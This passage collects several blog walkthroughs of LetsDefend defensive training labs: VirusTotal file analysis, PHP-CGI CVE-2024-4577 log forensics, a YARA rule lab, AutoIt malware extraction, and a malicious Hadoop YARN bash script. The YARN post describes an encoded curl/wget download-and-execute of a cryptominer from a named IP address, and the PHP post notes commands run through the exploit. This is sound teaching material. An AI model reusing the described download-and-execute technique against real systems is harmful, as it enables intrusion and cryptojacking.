https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations

Clicking the URL entry will take us to the VirusTotal page for the URL where we can see that several vendors have identified it as malicious. I think we’ve found the answer to Question 5! Now let’s wrap up this investigation!

https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49

Conclusion:

Mission accomplished! By leveraging the power of VirusTotal, we successfully analyzed the malicious Excel file and learned about some of its behavior, including creation time, dropped files, and second stage URL. Now that we’ve completed our objectives, let’s close out this walkthrough of the Remote Working challenge.

A big thank you to LetsDefend, for the fun lab. While this challenge isn’t especially difficult, it’s good hands-on practice using VirusTotal and exploring some of its lesser-used features. These types of challenges would have been especially useful earlier in my own security journey to better understand what tools were available with practical applications to test with. I hope that this challenge helped pique your interest in using VirusTotal in your own workflow!

Thanks for your support and for going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Support — File formats that are supported in Excel: https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247

VirusTotal: https://www.virustotal.com/

LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough

Mon, 27 Jan 2025 00:00:00 +0000

LetsDefend — PHP-CGI (CVE-2024€“4577) Challenge Walkthrough

Investigating a web server exploitation attempt using Apache & PHP logs, Notepad++, and the Windows Prefetch.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the PHP-CGI (CVE-2024€“4577) challenge from LetsDefend, you’re in the right place.

In this scenario, we’re jumping into the shoes of a security analyst to investigate an exploitation attempt against a critical web server. Our objective is to analyze the provided artifacts and determine which vulnerability the attacker attempted to exploit. To perform the investigation, we’ll navigate through several logs, including the Apache HTTP server logs, PHP logs, and Windows Prefetch files. The indicators of compromise found in these logs will help us ultimately identify the vulnerability (CVE) used in the attack. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577

Challenge Scenario:

You will confront an attempted exploitation of a newly discovered and unpatched vulnerability (CVE-2024-XXXX) in a critical software component within your organization’s infrastructure. The CVE allows for remote code execution, posing a significant threat if successfully exploited. At 12:05 PM UTC, an alert is generated by the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS), indicating an attack on one of your web servers. Your task is to analyze the provided artifacts, confirm the exploitation attempt, and answer the provided questions.

Question 1: What version of PHP was running on the server during the incident?

Despite the title spoiling some of the mystery, let’s approach this challenge without any additional background about the vulnerability so that we can perform the investigation using the available artifacts. To get started, extract the artifacts from artifacts.7z within the ChallengeFile folder.

Inside, we’ll find three folders that give us an idea of what artifacts are available for analysis:

Apache24: This folder contains the files related to the Apache HTTP Web Server, including configuration files.
php: This folder holds the PHP runtime and its associated files and resources, including the executables, configuration files, logs, and temp files.
prefetch: Prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps.

We’ll explore each of these folders during our investigation, but let’s start with the php folder since we’re searching for the running PHP version. But first, some background about PHP from the PHP manual:

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.

Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does something

With that context, let’s start our search by locating any plaintext logs. We’ll stumble across snapshots.txt in the root folder — let’s see what’s inside by opening the file with Notepad++.

Right at the top, we see some snapshot information that contains the version number of PHP. It seems like we’re on the right track, but let’s go a step further and verify by executing php.exe since we have it available, passing the -v parameter. To do this, open the Windows Command Prompt and run the following command from the php directory:

php.exe -v

This double-confirms our earlier finding that the PHP version is 8.2.19.

Question 2: When PHP is configured to run as CGI, which directive in httpd.conf specifies the scripts that handle requests for PHP files?

To answer Question 2, we first need to locate the httpd.conf file. Searching the artifacts folder for httpd.conf , we’ll discover that it’s located in the Apache24 > conf folder. According to the Apache documentation:

Apache HTTP Server is configured by placing directives in plain text configuration files. The main configuration file is usually called httpd.conf.

Let’s open the file in Notepad++ and search for php-cgi.exe to help us locate the correct directive.

The search takes us directly to the line above. Notice the Action directive? Remember the question is asking us to find the " # “directive in httpd.conf specifies the scripts that handle requests for PHP file”— let’s do some research in the Apache docs to learn more about this directive.

The [Action](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action) directive lets you run CGI scripts whenever a file of a certain MIME content type is requested. The [Script](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#script) directive lets you run CGI scripts whenever a particular method is used in a request. This makes it much easier to execute scripts that process files.

This directive fits what we’re looking for!

Question 3: What is the IP address of the attacker who attempted to exploit our server?

To answer Question 3, we’ll need to pivot to another artifact: the access.log file within the Apache24 > logs folder.

After a cursory scan of the logs, we’ll observe several IP addresses in the log entries. However, compared to the others, one of them is making some strange requests. Notice the odd parameters included with the HTTP POST requests to /upload.php from 192.168.110.1…

Question 4: The attacker targeted a specific page on the server with malicious payloads. Which page did the attacker target with malicious payloads?

Oh, awesome! The method that we used to discover the attacker’s IP address already provided us with the answer to Question 4!

Question 5: What version of Apache is running on the server?

Let’s move onto the other artifacts within the Apache24 > logs folder since the version information isn’t available in access.log . This time, we’ll check the error.log to see what information we can find.

After opening this in Notepad++, we’ll see the Apache version listed on line 1.

Question 6: The attacker managed to execute commands on the server. What was the first process initiated by the attacker’s commands during their successful attempt?

Remember back in Question 1 that we noted a third set of artifacts in the prefetch folder? Now it’s time to check them out. Once the folder is open, sort the folder contents by date modified so that we can organize the timestamps more efficiently.

The folder contains the list of executables loaded into the prefetch. Remember that prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps, which is exactly what we’ll need to answer Question 6.

Because we already examined the access.log in Question 3, we already have a general timeline of when the attacker accessed the server. So, let’s start there, using the timestamps of the first event range targeting the /upload.php page.

Pay special attention to the +0300 in the timestamp. This offset indicates that it’s 3 hours ahead of UTC, meaning the local prefetch timestamps could be in UTC time so they won’t match the logs exactly. For example, 14:24:31 > 11:24 AM.

Now, looking in the prefetch folder, nothing seems to match the timestamps from the first attempt…

No problem! Let’s check the next set of events in the access.log with the attacker’s source IP address, and match those to the prefetch data — this gets us closer to the time of the IDS alert.

Bingo! Now we have some matching time stamps and we can see the first process executed is whoami.exe to check the username of the currently logged-in user.

Question 7: Before the attacker was detected and blocked, they executed another command, launching a new process. What process was launched by this command?

Fortunately, the steps we took to answer the last question also work for Question 7. Using the same matching prefetch timestamps, we can determine that the attacker executed another command, calc.exe , which is often used as a proof-of-concept demonstrating remote code execution

Question 8: What is the CVE number of the exploit used by the attacker?

Now let’s put everything we’ve learned together and determine which CVE the threat actor exploited. To recap:

The compromised web server is running PHP 8.2.19.
PHP is running as CGI on Windows.
The attacker’s payload targeted the /upload.php page.
The attacker executed whoami and calc.exe, indicating we are looking for a remote code execution.

Let’s do a Google search with these parameters to see what information we can discover:

php cgi 8.2.19 windows remote code execution vulnerability

The answer is — a lot! We can select any number of the returned links to learn about this vulnerability, but all of them refer back to the disclosure write-up from the DEVCORE Research team. The referenced PoC for CVE-2024€“4577 looks very familiar based on what we saw in our logs.

Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability | DEVCORE æˆ´å¤«å¯‡çˆ¾ _While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows…_devco.re

PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI _Hi, I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the…_github.com

Conclusion:

There we have it! Using the PHP logs, we discovered that the web server was running a version of PHP vulnerable to CVE-2024€“4577. After that, we leveraged the Apache logs to discover the attacker’s IP address, what web page was targeted, then correlated the data with the Windows Prefetch to uncover evidence of remote code execution. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the PHP-CGI (CVE-2024€“4577)!

Another big thank you to LetsDefend for continuing to provide these awesome labs. I chose this challenge to better understand how web servers work and see what logs are available during incident response. I appreciated that the discovery process built a catalog of evidence that could be used to locate the applicable CVE number. It was a fun process to do the detective work based on the clues. After going through this challenge, I’ve gained a better understanding of this vulnerability and assembled valuable resources to tackle the triage process in the real world.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

PHP Manual: PHP: Introduction — Manual

Apache Documentation: Configuration Files — Apache HTTP Server Version 2.4

Devcore Blog — Security Alert: CVE-2024€“4577 — PHP CGI Argument Injection Vulnerability: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com

PHP Security Advisories GitHub: https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

National Vulnerability Database (CVE-2024€“4577): https://nvd.nist.gov/vuln/detail/cve-2024-4577

LetsDefend — YARA Rule Challenge Walkthrough

Mon, 20 Jan 2025 00:00:00 +0000

LetsDefend — YARA Rule Challenge Walkthrough

An introduction to YARA rules using Notepad++, IDA, and Hybrid Analysis

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a detailed guide of the YARA Rule challenge from LetsDefend, you’re in the right place.

For those unfamiliar with YARA rules, this challenge provides an excellent introduction. Before diving in, let’s quickly cover what YARA is based on the information from the project’s GitHub.

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.

Put another way, YARA rules are written to identify malware based on matching specific content within a sample. For this challenge, we’ll examine a YARA rule in Notepad++ to understand the parts of a rule. Then, we’ll apply the rule’s logic to search for matching strings within a malware binary using IDA. Finally, we’ll pivot to Hybrid Analysis to search the submissions data with the rule and identify matching samples. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/yara-rule

Challenge Scenario:

Welcome to the YARA Rules Challenge! This exercise is designed to introduce you to the basics of YARA rules and how they work.

File Location-1: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.7z

File Location-2: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.yara

Question 1: What is the name of this YARA rule?

Let’s jump right into the action! The ChallengeFiles folder contains two files: sample.yara and sample.7z.

We’ll use both files during the challenge but let’s focus first on examining sample.yara. Remember, YARA Rules are written to identify malware based on matching content within the sample. So, let’s open sample.yara using a text editor like Notepad++ and see what’s inside.

To answer Question 1 we’ll start out easy, looking for the rule identifier. According the YARA documentation, " # "

each rule in YARA starts with the keyword rule followed by a rule identifier" .

Question 2: What is the name of the author of this YARA rule?

To answer Question 2, refer to the meta section of the rule, which contains details about the rule itself such as the author, description, and purpose of the rule.

Question 3: What is the extension of the encrypted file?

For Question 3, we need to identify the extension added by the GwisinLocker ransomware that the YARA rule is targeting. We can find this information in the strings section of the rule, specifically in the $ext variable.

According to the YARA documentation,

" # "

The strings definition section is where the strings that will be part of the rule are defined. Each string has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores, these identifiers can be used in the condition section to refer to the corresponding string. Strings can be defined in text or hexadecimal form…"

Question 4: What is the assembly instruction that stores the $hex opcode in the YARA rule?

Now that we’ve gotten some understanding of the YARA rule, it’s time to pivot to the second file within the ChallengeFiles folder, sample.7z.

Extract the sample from the archive using the password from the challenge description which leaves us with a binary to analyze.

We’re going to perform some static analysis to locate information in the binary targeted by the YARA rule, specifically the opcode stored within the $hex variable of the strings section. Copy the hex string, we’ll need it for the next steps.

To perform the analysis on the binary, we’re going to use IDA, a powerful disassembler that will let us peek into the code. Don’t worry, you don’t need to be a coding expert (I’m definitely not!) to make use of the tool.

IDA is already installed and available for use from the Tools folder of the LetsDefend analysis environment. Go ahead and launch it. Once it opens, drag the extracted sample into the window to load it using the default options.

The first thing we’ll do to find the answer is leverage IDA’s search function to look for the matching sequence of bytes. In the Binary search window, paste the string we copied from the YARA rule into the search box, select find all occurrences, and press OK.

Bingo! We found the information we’re looking for. The instruction stores the opcode in the rax register.

Question 5: What is the address that we can find with $hex opcode with the IDA tool?

Our previous search also located the information needed for Question 5 under the Address column, so we’re already halfway to the answer!

Pay attention to the requested answer format: 0x0000 — that doesn’t look exactly like what we see in IDA does it?

No problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn’t change the value) and then add the " # "

0x," prefix to indicate that the number is in the hex format. For example, 0000000000003B51 becomes 0x3B51 .

Question 6: What is the name of the function that has $cde2?

Now that we have learned how to use the search function in IDA, answering Question 6 is much more familiar. We’ll repeat the binary search process like we did in Question 4, but this time we’ll search for the string stored in the $cde2 variable of the YARA rule.

This search will lead us to the function start_routine in the results.

Question 7: What is the file signature in the YARA rule?

To answer Question 7, let’s jump back over to the YARA rule and focus on the condition section at the bottom to determine the file signature. In a YARA rule, this section is where the logic of the rule is defined.

What we’re looking for is the uint32(0) value, which represents the file signature value of the binary. This condition identifies specific file types.

Question 8: Hunt on a hybrid-analysis site with Yara rules. What is the " # "

threat level" of the sample timestamped September 1, 2022, 16:11:41 (UTC)?

Okay, we’ve made it to the last question! For our final task, let’s gather some threat intelligence about the malware. While we could copy the hash1 value from the meta section of the rule, let’s try something a bit different.

Navigate to the Hybrid Analysis website, click the Yara Search tab, then press Advanced Search.

Next, copy the rule from the LetsDefend analysis environment, and paste it into the Advanced Search (YARA) window.

Now for the cool part! Hybrid Analysis will hunt their submissions database and present samples matching the YARA rule! This is a handy and flexible method for applying YARA rules to hunt public submissions on Hybrid Analysis. Once we retrieve the results, we need to match the date/time stamp requested in the question.

https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc

Hybrid Analysis has assessed the threat of this binary as malicious. Awesome job navigating this challenge! Let’s wrap this up.

Conclusion:

There we have it! That was an excellent introduction to YARA Rules. During this challenge, we manually analyzed a rule to understand who wrote it and what strings it searches for. Then, we dove into IDA to analyze the malware binary and confirm a match manually. Then, we leveraged the rule on Hybrid Analysis to hunt for matching samples. With our objectives complete, let’s close out this walkthrough of the YARA Rule challenge!

Another big thank you to LetsDefend for continuing to provide these engaging labs. I chose this challenge because, while I’ve been vaguely aware of YARA rules, I’ve never had the occasion to use them in my day job. This was a great opportunity to learn more and start turning the gears on how these powerful rules can quickly identify threats — mission accomplished! I was pleasantly surprised that there was a reverse engineering component to this lab, as I hadn’t had a chance to try IDA before— very cool! My favorite part was hunting on Hybrid Analysis with the YARA rule. I’ve visited that site countless times but never knew that feature existed. It just goes to show that in this field, you will learn a dozen new things a day.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

YARA GitHub: https://virustotal.github.io/yara/

YARA Docs: https://yara.readthedocs.io/en/latest/writingrules.html

IDA: https://hex-rays.com/ida-free

Hybrid Analysis: https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc

LetsDefend — Malicious AutoIT Challenge Walkthrough

Mon, 13 Jan 2025 00:00:00 +0000

LetsDefend— Malicious AutoIT Challenge Walkthrough

A malicious script analysis challenge using Detect It Easy, AutoIt-Ripper, and Notepad++

Image Credit: https://app.letsdefend.io/challenge/malicious-autoit

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious AutoIT challenge from LetsDefend, you’re in the right place.

In this scenario, the SOC has detected malicious activity on an endpoint stemming from a suspicious executable. Our objective is to analyze the suspicious file, extract the script, and determine what it does.

To do this, we’re going to leverage several tools including Detect It Easy, a " # "

powerful tool for file type identification," AutoIt Ripper to extract the script contents, and trusty Notepad++ for viewing the script contents.

While this challenge is geared toward beginners, there are excellent learning opportunities for all skill levels, especially if you aren’t familiar with AutoIt. Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/malicious-autoit

Challenge Scenario:

Our organization’s Security Operations Center (SOC) has detected suspicious activity related to an AutoIt script. Can you analyze this exe and help us answer the following questions?

Question 1: What is the MD5 hash of the sample file?

Okay, let’s kick off our investigation by extracting the sample.7z archive from the ChallengeFile folder. This will leave us with the sample we need to analyze.

Since we don’t have any information about this file or even what it is, we need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately for us, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let’s go ahead and open it, then point it to the mysterious sample file.

Once DIE is loaded and has parsed the sample, we can start to gather some information about the file. Notice something interesting in the PE32 info window: it shows that this executable is a compiled AutoIt(3.XX) script.

Let’s get some background on AutoIt. According to the project’s website:

AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys).

and

Scripts can be compiled into standalone executables

Cool! That sounds extremely useful to a system administrator, but it might also be useful for a bad actor. We can confirm this by taking a look at the MITRE ATT&CK knowledge base, where we’ll find that abusing AutoIt scripts is a known adversary technique (T1059.010).

The Main Detect It Easy Window

But let’s not get too far ahead of ourselves just yet. To answer Question 1, we first need to collect the MD5 hash of the sample file. We can find this in DIE by pressing File Info, then selecting Hash under the Method drop-down menu.

The MD5 value is all we’ll need to answer Question 1.

Question 2: According to the Detect It Easy (DIE) tool, what is the entropy of the sample file?

We can find the answer to Question 2 with a simple click of the Method drop-down menu again and selecting Entropy:

In malware analysis, entropy measures the randomness within data, with higher values indicating potential obfuscation techniques like encryption or compression, often used by malware to evade detection. For example, the value of the sample we’re analyzing is on the higher side which raises suspicion.

Question 3: According to the Detect It Easy(DIE) tool, what is the virtual address of the " # "

.text" section?

To answer Question 3, navigate back to the main Detect It Easy window and click the €˜>’ to the right of the **" # "

Sections" ** area**.** This will open up the PE window for a deeper analysis.

Once the window is open, you’ll see a list of sections including the one we are looking for, named .text. The " # "

**VirtualAddress" ** value is what we’re after.

Notice that the question specifies the answer format as 0x0000. This doesn’t match what we are seeing in DIE. No problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn’t change the value) and then add the " # "

0x," prefix to indicate that the number is in the hex format. For example, 00001000 becomes 0x1000 .

Question 4: According to the Detect Easy tool, what is the " # "

time date stamp" ?

Question 4 is an easy one. Navigate back to the main Detect It Easy window and we’ll find the information readily available.

Question 5: According to the Detect It Easy (DIE) tool, what is the entry point address of the executable?

Still working within the main Detect it Easy window, look for the Entry point field. Follow the same process that we used in Question 3 to convert the address to the requested format.

Question 6: What is the domain used by the malicious embedded code?

To tackle Question 6, we’re going to need to get creative. Remember back in Question 1 that we learned that AutoIt scripts can be compiled as executables? What if we could extract the AutoIt scripts out of the binary for analysis?

Luckily, there is a tool to do exactly this, and it’s already installed in the LetsDefend analysis environment: AutoIt-Ripper. According to the project’s GitHub, the utility is **" # "

**a short python script that allows for extraction of €˜compiled’ AutoIt scripts from PE executables," so we can dissect the resulting .au3 script file.

GitHub - nazywam/AutoIt-Ripper: Extract AutoIt scripts embedded in PE binaries _Extract AutoIt scripts embedded in PE binaries. Contribute to nazywam/AutoIt-Ripper development by creating an account…_github.com

Referencing the AutoIt-Ripper documentation, we can run the tool from PowerShell with the following syntax:

autoit-ripper sample.exe out_directory

For example, here is the command I used to extract the script from the sample binary and output to a folder called " # "

ripped" .

autoit-ripper C:\Users\LetsDefend\Desktop\ChallengeFile\sample C:\Users\LetsDefend\Desktop\ChallengeFile\ripped

Then, we’ll take the output file, script.au3 , and open in a text editor like Notepad++ to view the contents. It may look a little overwhelming at first, but let’s scroll through the script, performing a cursory glance for anything that looks like a URL.

Before long, we’ll stumble on line 39 where we see a reference to the InetRead function used to download files from the internet, pointing to a URL containing the domain we’re searching for.

Question 7: What is the file path encoded in hexadecimal in the malicious code?

Continuing to search the script, we’re looking for a hexadecimal number. Remember, we can identify a hexadecimal number by searching for the prefix 0x, the same method we used to format the answers in Questions 3 & 5. We’ll find the answer on line 46.

To figure out the file path, we need to make it readable. We can do this easily by using a tool like CyberChef. Simply add the From Hex operation to the Recipe and paste the value we discovered in the script. This will reveal the file path needed to answer the question.

From Hex Operation in CyberChef.

Question 8: What is the name of the DLL called by the malicious code?

We’ve made it to the last question! Within the script, we see several references to DLLs, but the DllCall function seems to be the most relevant. On line 53, we can see this function being used to call user32.dll .

Conclusion:

There we have it! By using Detect It Easy, we were able to analyze the sample file and determine that it is a compiled AutoIt script. Then, using AutoIt-Ripper, we extracted the script to learn more about its capabilities. With our objectives completed, let’s wrap this investigation!

A big thank you to LetsDefend, for the interesting lab scenario. I selected this one because I was not familiar with AutoIt and its capabilities, but I have seen it mentioned as a potential attack vector recently. It was really fascinating to see how these scripts can be compiled as executables and extremely valuable to learn that the contents can be extracted for analysis. This will be a handy tool for the kit if I encounter this again in the real world.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

AutoIT: https://www.autoitscript.com/site/autoit/

Detect-It-Easy: https://github.com/horsicq/Detect-It-Easy

MITRE ATT&CK — Command and Scripting Interpreter: AutoHotKey & AutoIT (T1059.010): https://attack.mitre.org/techniques/T1059/010/

AutoIT Ripper: https://github.com/nazywam/AutoIt-Ripper

Notepad++: https://notepad-plus-plus.org/

VirusTotal: https://www.virustotal.com/

CyberChef: https://gchq.github.io/CyberChef/

LetsDefend — Bash Script Challenge Walkthrough

Mon, 02 Dec 2024 00:00:00 +0000

LetsDefend— Bash Script Challenge Walkthrough

Bash Script Analysis Challenge Using Vim and Apache Hadoop Documentation

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Bash Script challenge from LetsDefend, you’re in the right place.

In this scenario, our objective is to analyze a suspicious bash script linked to a Hadoop YARN cluster provided by the fictional SOC Team and determine if it’s malicious. For this challenge, we will be using a simple text editor to analyze the script, searching for environment variables set by the script, and comparing them to online documentation. Then, we will analyze a suspicious download command to understand the nature of the attack.

This challenge is beginner-friendly and straightforward, but I had to do a lot of external research to understand Hadoop YARN and the types of threats these services are exposed to. I’ll share this information along the way for some added value. Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap! Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

The SOC team uncovered a suspicious bash script linked to a critical Hadoop YARN cluster that handled large-scale data processing. This script was flagged for further investigation by L1 SOC analysts, who suspected it could be a potential breach. You have been tasked to analyze the bash script to uncover its intent.

Question 1: What is the path set to the standard output log file?

From the scenario, we understand that that we’ll be analyzing a bash script linked to a Hadoop YARN cluster. Hadoop? YARN? These sound like foreign languages to me! To help get us oriented and better interpret the script, let’s get some quick context about these terms in case they’re also unfamiliar to you.

Hadoop: The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Hadoop YARN: Apache Hadoop YARN is the resource management and job scheduling technology in the open source Hadoop distributed processing framework. One of Apache Hadoop’s core components, YARN is responsible for allocating system resources to the various applications running in a Hadoop cluster and scheduling tasks to be executed on different cluster nodes.

While we don’t necessarily need to be Hadoop experts it’s very helpful to understand that YARN is responsible for setting up, managing, and executing tasks for various applications on a cluster of computers.

We can imagine that a bash script might be useful for automating provisioning, setting up environment variables, configuration paths, and executing tasks — but this could also be abused by the bad guys, too. Since we’re told there is something suspicious about the sample script, it might indicate a potential breach of the application container environment. Let’s find out for ourselves!

Now that we have the theory out of the way, let’s finally extract the ChallengeFile, sample.7z, and open the resulting file (sample) with a text editor. For the examples in this walkthrough, I’ll be using Vim.

To find the answer to Question 1, we’ll focus on the PRELAUNCH_OUT environment variable which defines the standard output (stdout) path for the container’s pre-launch logs. As the name implies, these pre-launch logs capture the commands executed by the setup script on the container before the application launches.

Question 2: Which environment variable specifies the Java home directory?

Question 2 is more self-explanatory. A few lines further down in the script, we’ll find the JAVA_HOME environment variable which tells the application where the Java installation’s home directory is.

Question 3: What is the value of the " # "

NM_HTTP_PORT" environment variable?

This is another self-explanatory one. We just need to find the NM_HTTP_PORT environment variable in the script.

Since I’m not familiar with NM, though, let’s do some research to understand it more. According to the Hadoop Documentation, NM stands for NodeManager. It’s a component of YARN that is responsible for managing individual nodes in the cluster. So, this environment variable is specifying the port (8042) where the web interface is accessible to retrieve data about a node’s status. Cool stuff!

Question 4: What directory is set as the " # "

LOCAL_DIRS" environment variable?

For Question 4, let’s find the LOCAL_DIRS environment variable. In the bash script, this variable specifies the local directories on a node where YARN can store temporary files and logs during the execution of applications.

Question 5: The script executes a line at the end of it. What is it?

All right, now we’re done looking for environment variables and starting to analyze some suspicious activity. At the bottom of the script, we’ll see the below command, followed by some parameters:

exec /bin/bash -c

With the use of curl, wget, & lwp-download we get the idea that this command is trying (quietly) a few different methods to download a file from a remote server. For the purposes of Question 5, we must understand what the line at the end of the script is doing. The setback here is that the final command is encoded but that’s no problem!

We can use a tool like CyberChef to decode it, or do it directly from the terminal:

Base64 Decoding with Terminal

Base64 Decoding with CyberChef

Once we have decoded the command, we’ll ultimately discover that the script downloads and executes a Python-based payload — d.py.

Question 6: Which command is used to create a copy of the launch script?

Let’s take a step back and search the script for a command that creates a copy of the launch script. With little effort, we can find the following line in the script, which is conveniently commented. The copy (cp) command is being used to copy the launch_container.sh script — interesting…

#Creating copy of the launch script cp “launch_container.sh” “/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/launch_container.sh”

Question 7: What command is executed to determine the directory contents?

Another helpful comment points us to the correct location to look for the answer to Question 7. Here we’ll observe that the ls -l command is used to list the directory contents with the long listing format:

Determining directory contents

echo “ls -l:” 1>"/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info" ls -l 1»"/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info"

Question 8: What IP address is used for downloading a script from the remote server?

We’ve made it to the last question, and it looks familiar, doesn’t it? Remember back in Question 5, we found a script being downloaded and executed. Let’s refer back to that line and the IP Address from where the script was downloaded:

Awesome, we’ve found the answer! Feel free to submit it and wrap up this challenge.

But if you’re interested and want to understand this attack in more detail, I’m going on a side quest to research further by consulting some external threat intelligence to understand exactly is going on.

Question 8 — Side Quest:

While outside the scope of the challenge, if you want to gain a better understanding of the attack, let’s pivot to VirusTotal and search for the IP Address we found.

On VirusTotal, there are a couple of hits, but we want to focus on the Relations tab > Files Referring section. With a quick scan, you’ll notice something familiar from Question 5 — d.py, the payload downloaded and executed by the script.

Clicking on this entry, we’ll see that this is classified as a crypto miner.

Next, let’s head back to the VirusTotal page for the IP Address and navigate to Details > Google Results to find some external research. Check out one of the linked articles from Trend Micro, as it references the malicious IP_._

Threat Actors Exploit Misconfigured Apache Hadoop YARN _We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible…_www.trendmicro.com

In summary, the report reveals how threat actors exploit misconfigured Apache Hadoop YARN services to deploy cryptojacking miner malware onto their targets.

As cryptojacking malware is known to be one of the dominant and common payloads for Linux environments, it is no surprise that they were deployed in the YARN service as well…

…At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the YARN then creates a launch script that incorporates the attackers’ commands.

Between the VirusTotal report for d.py and the TrendMicro research linking the IP we found to cryptojacking attacks, we now have a better understanding of how the malicious script works and the attacker’s goal. Great job!

Conclusion:

There we have it — script analyzed! During our investigation, we analyzed a bash script using Vim. This helped us understand some of the functions and environment variables of Hadoop YARN. We discovered some suspicious commands executed by the script, which included downloading and executing a script from a remote server. By pivoting to external research, we identified indicators of compromise and determined that the attacker likely performed a cryptojacking attack on the server. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the Bash Script challenge.

A big thank you to LetsDefend for the fun lab scenario. This was interesting to me because, while the answers were straightforward, I realized I had no context or understanding of what was actually happening in the script. I decided to write this up to learn about Hadoop YARN and interpret the results to shape a theory about the attack, rather than just check answers off a list. I hope that the additional research helped you, too!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Apache Hadoop Website: https://hadoop.apache.org/

Apache Hadoop Documentation: https://hadoop.apache.org/docs/current/index.html

Tech Target — What is Apache Hadoop YARN?: https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop’s%20core,executed%20on%20different%20cluster%20nodes.

CyberChef: https://gchq.github.io/

Ubuntu Manpages — LS: https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html

VirusTotal — Download IP: https://www.virustotal.com/gui/ip-address/209.141.40.190/detection

VirusTotal — d.py: https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection

Trend Micro — Threat Actors Exploit Misconfigured Apache Hadoop YARN: https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html

LetsDefend — Revenge RAT Challenge Walkthrough

Mon, 25 Nov 2024 00:00:00 +0000

LetsDefend — Revenge RAT Challenge Walkthrough

A Malware Reverse Engineering Challenge Using Detect-It-Easy, dnSpy, & Google

Image Credit: https://letsdefend.io/

Introduction:

